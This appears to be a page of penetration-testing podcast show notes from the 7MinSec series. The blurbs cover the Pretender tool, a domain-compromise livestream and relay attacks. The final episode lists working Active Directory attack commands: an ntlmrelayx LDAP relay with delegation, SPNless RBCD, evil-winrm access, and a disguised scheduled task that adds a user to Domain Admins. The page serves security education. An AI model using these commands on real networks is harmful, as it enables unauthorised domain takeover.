Today is episode 700 of the 7MinSec podcast! Oh my gosh. My mom didn’t think we could do it, but we did. Instead of a big blowout with huge news, giveaways and special guests, today is a pretty standard issue episode with a (nearly) 7-minute run time! The topic of today’s episode is Pretender (which you can download  and read a lot more about ).  The tool authors explain the motivation behind the tool: “We designed pretender with the single purpose to obtain machine-in-the-middle positions combining the techniques of  and only the name resolution...

Today your pal and mine Joe “The Machine” Skeen pwn one of the two  domains!  This pwnage included: Swiping service tickets in the name of high-priv users Dumping secrets from wmorkstations Disabling AV Extracting hashes of gMSA accounts We didn’t get the second domain pwned, and so I was originally thinking about doing a part 5 in November, but changed my mind.  Going forward, I’m thinking about doing longer, all-in-one hacking livestreams where we cover things like NHA from start to finish.  My first thought would be to do one long livestream where...

Happy Friday! Today’s another hot pile of pentest pwnage. To make it easy on myself I’m going to share the whole narrative that I wrote up for someone else: I was on a pentest where a DA account would sweep the networks every few minutes over SMB and hit my box. But SMB signing was on literally everywhere. The fine folks here recommended I try relaying to something NOT SMB, like MSSQL. This article had good context on that: . I relayed the DA account to a SQL box that BloodHound said had a “session” from another DA. One part I can’t explain is the first relay got me a shell in...

More Episodes

Holy schnikes, today might be my favorite tale of pentest pwnage ever. Do I say that almost every episode? yes. Do I mean it? Yes. Here are all the commands/links to supplement today’s episode:

  • Got an SA account to a SQL server through Snaffler-ing
  • With that SA account, I learned how to coerce Web auth from within a SQL shell – read more about that here
  • I relayed that Web auth with ntlmrelayx -smb2support -t ldap://dc --delegate-access --escalate-user lowpriv
  • I didn’t have a machine account under my control, so I did SPNless RBCD on my lowpriv account – read more about that here
  • Using that technique, I requested a host service ticket for the SQL box, then used evil-winrm to remote in using the ticket
  • From there I checked out who had interactive logons: Get-Process -IncludeUserName explorer | Select-Object UserName
  • Then I queued up a fake task to elevate me to DA: schtasks /create /tn "TotallyFineTask" /tr 'net group "Domain Admins" lowpriv /add /domain' /sc once /st 12:00 /ru "DOMAIN\a-domain-admin" /it /f
  • …and ran it: schtasks /run /tn "TotallyFineTask"
